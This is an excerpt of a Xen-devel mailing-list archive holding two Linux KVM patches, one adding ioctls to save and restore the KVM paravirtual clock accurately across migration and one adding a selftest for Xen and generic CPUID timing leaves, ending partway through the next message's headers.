Subject: [PATCH v7 31/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for accurate KVM clock migration
Date: Tue, 28 Jul 2026 15:40:11 +0100
Message-ID: <20260728144954.355376-32-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1785250214-BECDF034-BB257912/0/0
X-purgate-type: clean
X-purgate-size: 11399

From: Jack Allister <jalliste@amazon.com>

In the common case (where kvm->arch.use_master_clock is true), the KVM
clock is defined as a simple arithmetic function of the guest TSC, based
on a reference point stored in kvm->arch.master_kernel_ns and
kvm->arch.master_cycle_now.

The existing KVM_[GS]ET_CLOCK functionality does not allow for this
relationship to be precisely saved and restored by userspace. All it can
currently do is set the KVM clock at a given UTC reference time, which
is necessarily imprecise.

So on live update, the guest TSC can remain cycle accurate at precisely
the same offset from the host TSC, but there is no way for userspace to
restore the KVM clock accurately.

Even on live migration to a new host, where the accuracy of the guest
time-keeping is fundamentally limited by the accuracy of wallclock
synchronization between the source and destination hosts, the clock jump
experienced by the guest's TSC and its KVM clock should at least be
*consistent*. Even when the guest TSC suffers a discontinuity, its KVM
clock should still remain the *same* arithmetic function of the guest
TSC, and not suffer an *additional* discontinuity.

To allow for accurate migration of the KVM clock, add per-vCPU ioctls
which save and restore the actual PV clock info in
pvclock_vcpu_time_info.

The restoration in KVM_SET_CLOCK_GUEST works by creating a new reference
point in time just as kvm_update_masterclock() does, and calculating the
corresponding guest TSC value. This guest TSC value is then passed
through the user-provided pvclock structure to generate the *intended*
KVM clock value at that point in time, and through the *actual* KVM
clock calculation. Then kvm->arch.kvmclock_offset is adjusted to
eliminate the difference.

Where kvm->arch.use_master_clock is false (because the host TSC is
unreliable, or the guest TSCs are configured strangely), the KVM clock
is *not* defined as a function of the guest TSC so KVM_GET_CLOCK_GUEST
returns an error. In this case, as documented, userspace shall use the
legacy KVM_GET_CLOCK ioctl. The loss of precision is acceptable in this
case since the clocks are imprecise in this mode anyway.

On *restoration*, if kvm->arch.use_master_clock is false, an error is
returned for similar reasons and userspace shall fall back to using
KVM_SET_CLOCK. This does mean that, as documented, userspace needs to
use *both* KVM_GET_CLOCK_GUEST and KVM_GET_CLOCK and send both results
with the migration data (unless the intent is to refuse to resume on a
host with bad TSC).

Co-developed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Jack Allister <jalliste@amazon.com>
Reviewed-by: Paul Durrant <paul@xen.org>
Cc: Dongli Zhang <dongli.zhang@oracle.com>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 Documentation/virt/kvm/api.rst  |  37 +++++++
 arch/x86/include/uapi/asm/kvm.h |   1 +
 arch/x86/kvm/x86.c              | 171 ++++++++++++++++++++++++++++++++
 include/uapi/linux/kvm.h        |   3 +
 4 files changed, 212 insertions(+)

diff --git a/Documentation/virt/kvm/api.rst b/Documentation/virt/kvm/api.rst
index a5f9ee92f43e..b16cc5ea35bc 100644
--- a/Documentation/virt/kvm/api.rst
+++ b/Documentation/virt/kvm/api.rst
@@ -6566,6 +6566,43 @@ KVM_S390_KEYOP_SSKE
   Sets the storage key for the guest address ``guest_addr`` to the key
   specified in ``key``, returning the previous value in ``key``.
 
+4.145 KVM_GET_CLOCK_GUEST
+----------------------------
+
+:Capability: none
+:Architectures: x86_64
+:Type: vcpu ioctl
+:Parameters: struct pvclock_vcpu_time_info (out)
+:Returns: 0 on success, <0 on error
+
+Retrieves the current time information structure used for KVM/PV clocks,
+in precisely the form advertised to the guest vCPU, which gives parameters
+for a direct conversion from a guest TSC value to nanoseconds.
+
+When the KVM clock is not in "master clock" mode, for example because the
+host TSC is unreliable or the guest TSCs are oddly configured, the KVM clock
+is actually defined by the host CLOCK_MONOTONIC_RAW instead of the guest TSC.
+In this case, the KVM_GET_CLOCK_GUEST ioctl returns -EINVAL.
+
+4.146 KVM_SET_CLOCK_GUEST
+----------------------------
+
+:Capability: none
+:Architectures: x86_64
+:Type: vcpu ioctl
+:Parameters: struct pvclock_vcpu_time_info (in)
+:Returns: 0 on success, <0 on error
+
+Sets the KVM clock (for the whole VM) in terms of the vCPU TSC, using the
+pvclock structure as returned by KVM_GET_CLOCK_GUEST. This allows the precise
+arithmetic relationship between guest TSC and KVM clock to be preserved by
+userspace across migration.
+
+When the KVM clock is not in "master clock" mode, and the KVM clock is actually
+defined by the host CLOCK_MONOTONIC_RAW, this ioctl returns -EINVAL. Userspace
+may choose to set the clock using the less precise KVM_SET_CLOCK ioctl, or may
+choose to fail, denying migration to a host whose TSC is misbehaving.
+
 .. _kvm_run:
 
 5. The kvm_run structure
diff --git a/arch/x86/include/uapi/asm/kvm.h b/arch/x86/include/uapi/asm/kvm.h
index 1585ec804066..9e3cdc3adb65 100644
--- a/arch/x86/include/uapi/asm/kvm.h
+++ b/arch/x86/include/uapi/asm/kvm.h
@@ -12,6 +12,7 @@
 #include <linux/types.h>
 #include <linux/ioctl.h>
 #include <linux/stddef.h>
+#include <asm/pvclock-abi.h>
 
 #define KVM_PIO_PAGE_OFFSET 1
 #define KVM_COALESCED_MMIO_PAGE_OFFSET 2
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 5c78dd1e4c69..0680332d7d45 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3435,6 +3435,169 @@ static int kvm_vcpu_ioctl_enable_cap(struct kvm_vcpu *vcpu,
 	}
 }
 
+#ifdef CONFIG_X86_64
+static int kvm_vcpu_ioctl_get_clock_guest(struct kvm_vcpu *v, void __user *argp)
+{
+	struct pvclock_vcpu_time_info hv_clock = {};
+	struct kvm_vcpu_arch *vcpu = &v->arch;
+	struct kvm_arch *ka = &v->kvm->arch;
+	unsigned int seq;
+
+	/*
+	 * If KVM_REQ_CLOCK_UPDATE is already pending, or if the pvclock
+	 * has never been generated at all, call kvm_guest_time_update().
+	 */
+	if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, v) || !vcpu->hw_tsc_hz) {
+		int idx = srcu_read_lock(&v->kvm->srcu);
+		int ret = kvm_guest_time_update(v);
+
+		srcu_read_unlock(&v->kvm->srcu, idx);
+		if (ret)
+			return -EINVAL;
+	}
+
+	/*
+	 * Reconstruct the pvclock from the master clock state, matching
+	 * exactly what kvm_guest_time_update() writes to the guest.
+	 */
+	do {
+		seq = read_seqcount_begin(&ka->pvclock_sc);
+
+		if (!ka->use_master_clock)
+			return -EINVAL;
+
+		hv_clock.tsc_timestamp = kvm_read_l1_tsc(v, ka->master_cycle_now);
+		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
+
+	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
+	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
+	hv_clock.flags = ka->all_vcpus_matched_tsc ? PVCLOCK_TSC_STABLE_BIT : 0;
+
+	if (copy_to_user(argp, &hv_clock, sizeof(hv_clock)))
+		return -EFAULT;
+
+	return 0;
+}
+
+/*
+ * Reverse the calculation in the hv_clock definition.
+ *
+ * time_ns = ( (cycles << shift) * mul ) >> 32;
+ * (although shift can be negative, so that's bad C)
+ *
+ * So for a single second,
+ * NSEC_PER_SEC = ( ( FREQ_HZ << shift) * mul ) >> 32
+ * NSEC_PER_SEC << 32 = ( FREQ_HZ << shift ) * mul
+ * ( NSEC_PER_SEC << 32 ) / mul = FREQ_HZ << shift
+ * ( NSEC_PER_SEC << 32 ) / mul ) >> shift = FREQ_HZ
+ */
+static u64 hvclock_to_hz(u32 mul, s8 shift)
+{
+	u64 tm = NSEC_PER_SEC << 32;
+
+	/* Maximise precision. Shift right until the top bit is set */
+	tm <<= 2;
+	shift += 2;
+
+	/* While 'mul' is even, increase the shift *after* the division */
+	while (!(mul & 1)) {
+		shift++;
+		mul >>= 1;
+	}
+
+	tm /= mul;
+
+	if (shift >= 64)
+		return 0;
+	if (shift > 0)
+		return tm >> shift;
+	if (shift <= -64)
+		return 0;
+	return tm << -shift;
+}
+
+static int kvm_vcpu_ioctl_set_clock_guest(struct kvm_vcpu *v, void __user *argp)
+{
+	struct pvclock_vcpu_time_info user_hv_clock;
+	struct kvm *kvm = v->kvm;
+	struct kvm_arch *ka = &kvm->arch;
+	u64 curr_tsc_hz, user_tsc_hz;
+	u64 user_clk_ns;
+	u64 guest_tsc;
+	int rc = 0;
+
+	if (copy_from_user(&user_hv_clock, argp, sizeof(user_hv_clock)))
+		return -EFAULT;
+
+	if (user_hv_clock.pad0 || user_hv_clock.pad[0] || user_hv_clock.pad[1])
+		return -EINVAL;
+
+	if (!user_hv_clock.tsc_to_system_mul)
+		return -EINVAL;
+
+	if (user_hv_clock.tsc_shift < -31 || user_hv_clock.tsc_shift > 31)
+		return -EINVAL;
+
+	user_tsc_hz = hvclock_to_hz(user_hv_clock.tsc_to_system_mul,
+				    user_hv_clock.tsc_shift);
+
+	kvm_hv_request_tsc_page_update(kvm);
+
+	/*
+	 * kvm_start_pvclock_update() takes tsc_write_lock and opens
+	 * the pvclock seqcount; kvm_end_pvclock_update() closes both.
+	 * All clock state modifications between them are atomic with
+	 * respect to readers in kvm_guest_time_update().
+	 */
+	kvm_start_pvclock_update(kvm);
+	pvclock_update_vm_gtod_copy(kvm);
+
+	if (!ka->use_master_clock) {
+		rc = -EINVAL;
+		goto out;
+	}
+
+	curr_tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
+	if (unlikely(curr_tsc_hz == 0)) {
+		rc = -EINVAL;
+		goto out;
+	}
+
+	if (kvm_caps.has_tsc_control)
+		curr_tsc_hz = kvm_scale_tsc(curr_tsc_hz,
+					    v->arch.l1_tsc_scaling_ratio);
+
+	/*
+	 * Allow for a discrepancy of 1 kHz either way between the TSC
+	 * frequency used to generate the user's pvclock and the current
+	 * host's measured frequency, since they may not precisely match.
+	 */
+	if (user_tsc_hz < curr_tsc_hz - 1000 ||
+	    user_tsc_hz > curr_tsc_hz + 1000) {
+		rc = -ERANGE;
+		goto out;
+	}
+
+	/*
+	 * Calculate the guest TSC at the new reference point, and the
+	 * corresponding KVM clock value according to user_hv_clock.
+	 * Adjust kvmclock_offset so both definitions agree.
+	 */
+	guest_tsc = kvm_read_l1_tsc(v, ka->master_cycle_now);
+	if (guest_tsc < user_hv_clock.tsc_timestamp) {
+		rc = -EINVAL;
+		goto out;
+	}
+	user_clk_ns = __pvclock_read_cycles(&user_hv_clock, guest_tsc);
+	ka->kvmclock_offset = user_clk_ns - ka->master_kernel_ns;
+
+out:
+	kvm_end_pvclock_update(kvm);
+	return rc;
+}
+#endif
+
 long kvm_arch_vcpu_ioctl(struct file *filp,
 			 unsigned int ioctl, unsigned long arg)
 {
@@ -3828,6 +3991,14 @@ long kvm_arch_vcpu_ioctl(struct file *filp,
 		srcu_read_unlock(&vcpu->kvm->srcu, idx);
 		break;
 	}
+#ifdef CONFIG_X86_64
+	case KVM_SET_CLOCK_GUEST:
+		r = kvm_vcpu_ioctl_set_clock_guest(vcpu, argp);
+		break;
+	case KVM_GET_CLOCK_GUEST:
+		r = kvm_vcpu_ioctl_get_clock_guest(vcpu, argp);
+		break;
+#endif
 #ifdef CONFIG_KVM_HYPERV
 	case KVM_GET_SUPPORTED_HV_CPUID:
 		r = kvm_ioctl_get_supported_hv_cpuid(vcpu, argp);
diff --git a/include/uapi/linux/kvm.h b/include/uapi/linux/kvm.h
index 419011097fa8..d20c9586907b 100644
--- a/include/uapi/linux/kvm.h
+++ b/include/uapi/linux/kvm.h
@@ -1670,4 +1670,7 @@ struct kvm_pre_fault_memory {
 	__u64 padding[5];
 };
 
+#define KVM_SET_CLOCK_GUEST	_IOW(KVMIO, 0xd6, struct pvclock_vcpu_time_info)
+#define KVM_GET_CLOCK_GUEST	_IOR(KVMIO, 0xd7, struct pvclock_vcpu_time_info)
+
 #endif /* __LINUX_KVM_H */
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374505.1621750 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8O-0007Zf-QK; Tue, 28 Jul 2026 14:50:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374505.1621750; Tue, 28 Jul 2026 14:50:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8O-0007Wr-88; Tue, 28 Jul 2026 14:50:20 +0000
Received: by outflank-mailman (input) for mailman id 1374505;
 Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8I-000600-BB
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8H-004rRp-O1; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c182-bab6-0a2a0a5309dd-0a2a4504aa18-24
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-b57f-0a2a45040019-5a9b5cc7b288-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vk-35of; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001Ua7-2wQn;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=x2xSqS7e8FBOCcPpiOhTMYKg8ozG39niUAQrIOEk/A8=; b=JOHaDrqvK090x0RSRF/PIKJTnV
	FmtgYrpwSeXHDWGsA+tiDap7GABi/+lWvkv9R1FF1LUf3waoTJpjCMQcxzB/iZlO+3ddInW9mYB/b
	g2dtZkwa2UMDaDPRTz91cHEtdLA6k7vem5b8/sxJU1sZ/BFkgE6TNRr4+ytI1AThll/OFaETPOBuA
	jbh15RbtiCHsdF2+kAB2Tpb6wjmHDnUKdZJ3wYUzEiJMxocWqIiQDH52pIlKXNaT9QeJignU404dz
	Ht0QF+kYfpeTPz86Kb7PeYr/DR3ViY+wqGdpfu8G8MK19+70zpKgbF4yLRxaTYXvNYEMKE5FIWSyl
	EVaNnURg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 35/36] KVM: selftests: Add Xen/generic CPUID timing leaf test
Date: Tue, 28 Jul 2026 15:40:15 +0100
Message-ID: <20260728144954.355376-36-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1785250213-528C9B50-D66ACC81/0/0
X-purgate-type: clean
X-purgate-size: 8819

From: David Woodhouse <dwmw@amazon.co.uk>

Verify that userspace can correctly populate Xen and generic CPUID
timing leaves using the KVM_VCPU_TSC_SCALE and
KVM_VCPU_TSC_SCALE attributes.

This validates that the removal of KVM's runtime Xen CPUID modification
doesn't break guests: userspace queries the effective TSC and bus
frequencies, computes the pvclock mul/shift, populates the CPUID leaves,
and the guest verifies the values match.

The test exercises:
 - KVM_VCPU_TSC_SCALE at native and scaled frequencies
 - KVM_VCPU_TSC_SCALE ratio verification against effective frequency
 - Generic timing leaf 0x40000010 (EAX=tsc_khz, EBX=bus_khz)
 - Xen leaf 3 sub-leaf 0 (ECX=guest TSC kHz)
 - Xen leaf 3 sub-leaf 1 (ECX=mul, EDX=shift)

Gracefully skips TSC scaling tests on hardware without support.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../selftests/kvm/x86/xen_cpuid_timing_test.c | 230 ++++++++++++++++++
 2 files changed, 231 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index f6027a35f790..2029190f86d1 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -145,6 +145,7 @@ TEST_GEN_PROGS_x86 += x86/xss_msr_test
 TEST_GEN_PROGS_x86 += x86/debug_regs
 TEST_GEN_PROGS_x86 += x86/tsc_msrs_test
 TEST_GEN_PROGS_x86 += x86/vmx_pmu_caps_test
+TEST_GEN_PROGS_x86 += x86/xen_cpuid_timing_test
 TEST_GEN_PROGS_x86 += x86/xen_shinfo_test
 TEST_GEN_PROGS_x86 += x86/xen_vmcall_test
 TEST_GEN_PROGS_x86 += x86/sev_dbg_test
diff --git a/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c b/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c
new file mode 100644
index 000000000000..2098cb511ef0
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/xen_cpuid_timing_test.c
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test that userspace can correctly populate Xen and generic CPUID
+ * timing leaves using KVM_GET_TSC_KHZ and KVM_VCPU_TSC_SCALE.
+ *
+ * This validates that the removal of KVM's runtime Xen CPUID modification
+ * doesn't break guests, because userspace has all the information needed.
+ */
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define XEN_CPUID_BASE		0x40000100
+#define XEN_CPUID_LEAF(n)	(XEN_CPUID_BASE + (n))
+#define GENERIC_TIMING_LEAF	0x40000010
+
+/* Values set by host, verified by guest */
+static uint32_t expected_tsc_khz;
+static uint32_t expected_bus_khz;
+static uint32_t expected_tsc_mul;
+static int8_t   expected_tsc_shift;
+static uint64_t host_khz;
+
+static void guest_code(void)
+{
+	uint32_t eax, ebx, ecx, edx;
+
+	/* Check generic timing leaf 0x40000010 */
+	__cpuid(GENERIC_TIMING_LEAF, 0, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(eax, expected_tsc_khz);
+	GUEST_ASSERT_EQ(ebx, expected_bus_khz);
+
+	/* Check Xen leaf 3, sub-leaf 0: ECX = guest TSC frequency */
+	__cpuid(XEN_CPUID_LEAF(3), 0, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(ecx, expected_tsc_khz);
+
+	/* Check Xen leaf 3, sub-leaf 1: ECX = mul, EDX = shift */
+	__cpuid(XEN_CPUID_LEAF(3), 1, &eax, &ebx, &ecx, &edx);
+	GUEST_ASSERT_EQ(ecx, expected_tsc_mul);
+	GUEST_ASSERT_EQ((int8_t)edx, expected_tsc_shift);
+
+	GUEST_SYNC(0);
+}
+
+static void add_cpuid_entry(struct kvm_vcpu *vcpu, uint32_t function,
+			    uint32_t index, uint32_t eax, uint32_t ebx,
+			    uint32_t ecx, uint32_t edx)
+{
+	struct kvm_cpuid2 *cpuid = vcpu->cpuid;
+	struct kvm_cpuid_entry2 *entry;
+	int n = cpuid->nent;
+
+	vcpu->cpuid = realloc(vcpu->cpuid,
+			      sizeof(*cpuid) + (n + 1) * sizeof(*entry));
+	cpuid = vcpu->cpuid;
+	cpuid->nent = n + 1;
+
+	entry = &cpuid->entries[n];
+	memset(entry, 0, sizeof(*entry));
+	entry->function = function;
+	entry->index = index;
+	entry->flags = KVM_CPUID_FLAG_SIGNIFCANT_INDEX;
+	entry->eax = eax;
+	entry->ebx = ebx;
+	entry->ecx = ecx;
+	entry->edx = edx;
+}
+
+/*
+ * Compute pvclock mul/shift from frequency, matching kvm_get_time_scale().
+ */
+static void compute_tsc_mul_shift(uint64_t tsc_hz, uint32_t *mul, int8_t *shift)
+{
+	uint64_t scaled = 1000000000ULL;
+	uint64_t base = tsc_hz;
+	int32_t s = 0;
+	uint32_t base32;
+
+	while (base > scaled * 2 || base >> 32) {
+		base >>= 1;
+		s--;
+	}
+	base32 = (uint32_t)base;
+	while (base32 <= scaled || scaled >> 32) {
+		if (scaled >> 32 || base32 & (1U << 31))
+			scaled >>= 1;
+		else
+			base32 <<= 1;
+		s++;
+	}
+	*mul = (uint32_t)((scaled << 32) / base32);
+	*shift = (int8_t)s;
+}
+
+static void run_test(uint64_t tsc_khz)
+{
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint32_t effective_tsc_khz, effective_bus_khz;
+	int bus_cycle_ns;
+
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+
+	if (tsc_khz) {
+		pr_info("Testing at TSC frequency %lu kHz\n", tsc_khz);
+		vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)tsc_khz);
+	} else {
+		pr_info("Testing at native TSC frequency\n");
+	}
+
+	effective_tsc_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	bus_cycle_ns = vm_check_cap(vm, KVM_CAP_X86_APIC_BUS_CYCLES_NS);
+	effective_bus_khz = bus_cycle_ns > 0 ? 1000000 / bus_cycle_ns : 1000000;
+
+	/* If scaling wasn't applied, skip this frequency */
+	if (tsc_khz && effective_tsc_khz == host_khz) {
+		pr_info("  TSC scaling not available, skipping\n");
+		kvm_vm_free(vm);
+		return;
+	}
+
+	pr_info("  Effective TSC: %u kHz, Bus: %u kHz\n", effective_tsc_khz, effective_bus_khz);
+
+	/* Also exercise KVM_VCPU_TSC_SCALE if available */
+	{
+		struct { uint64_t ratio; uint64_t frac_bits; } scale;
+		struct kvm_device_attr scale_attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale,
+		};
+
+		if (!__vcpu_ioctl(vcpu, KVM_HAS_DEVICE_ATTR, &scale_attr)) {
+			vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &scale_attr);
+			pr_info("  TSC scale: ratio=%lu frac_bits=%lu\n",
+				scale.ratio, scale.frac_bits);
+
+			/*
+			 * Verify: applying the ratio to the host TSC frequency
+			 * should give approximately the effective frequency.
+			 */
+			if (tsc_khz) {
+				uint64_t computed = ((__uint128_t)host_khz * scale.ratio) >> scale.frac_bits;
+				int64_t diff = (int64_t)computed - (int64_t)effective_tsc_khz;
+
+				TEST_ASSERT(diff >= -1 && diff <= 1,
+					    "TSC_SCALE ratio mismatch: computed %lu vs effective %u (diff %ld)",
+					    computed, effective_tsc_khz, diff);
+			}
+		}
+	}
+
+	compute_tsc_mul_shift((uint64_t)effective_tsc_khz * 1000,
+			      &expected_tsc_mul, &expected_tsc_shift);
+
+	expected_tsc_khz = effective_tsc_khz;
+	expected_bus_khz = effective_bus_khz;
+
+	sync_global_to_guest(vm, expected_tsc_khz);
+	sync_global_to_guest(vm, expected_bus_khz);
+	sync_global_to_guest(vm, expected_tsc_mul);
+	sync_global_to_guest(vm, expected_tsc_shift);
+
+	/* Populate CPUID leaves as a VMM would */
+	add_cpuid_entry(vcpu, GENERIC_TIMING_LEAF, 0,
+			effective_tsc_khz, effective_bus_khz, 0, 0);
+	add_cpuid_entry(vcpu, XEN_CPUID_LEAF(3), 0,
+			0, 0, effective_tsc_khz, 0);
+	add_cpuid_entry(vcpu, XEN_CPUID_LEAF(3), 1,
+			0, 0, expected_tsc_mul,
+			(uint32_t)(uint8_t)expected_tsc_shift);
+
+	vcpu_set_cpuid(vcpu);
+
+	pr_info("  pvclock mul=%u shift=%d\n", expected_tsc_mul, expected_tsc_shift);
+
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+
+	switch (get_ucall(vcpu, &uc)) {
+	case UCALL_ABORT:
+		REPORT_GUEST_ASSERT(uc);
+		break;
+	case UCALL_SYNC:
+		break;
+	default:
+		TEST_FAIL("Unexpected ucall");
+	}
+
+	kvm_vm_free(vm);
+}
+
+int main(void)
+{
+	uint64_t freq;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct kvm_device_attr attr = {
+		.group = KVM_VCPU_TSC_CTRL,
+		.attr = KVM_VCPU_TSC_SCALE,
+	};
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+
+	/* Check KVM_VCPU_TSC_SCALE is supported (implies TSC scaling) */
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	TEST_REQUIRE(!__vcpu_ioctl(vcpu, KVM_HAS_DEVICE_ATTR, &attr));
+	host_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	kvm_vm_free(vm);
+
+	/* Native frequency */
+	run_test(0);
+
+	/* Scaled frequencies â€” skip if TSC scaling not available */
+	for (freq = 1000000; freq <= 4000000; freq += 1000000) {
+		if (freq == host_khz)
+			continue;
+		run_test(freq);
+	}
+
+	pr_info("PASS: All CPUID timing leaf tests passed\n");
+	return 0;
+}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374507.1621759 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8Q-0007mR-By; Tue, 28 Jul 2026 14:50:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374507.1621759; Tue, 28 Jul 2026 14:50:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
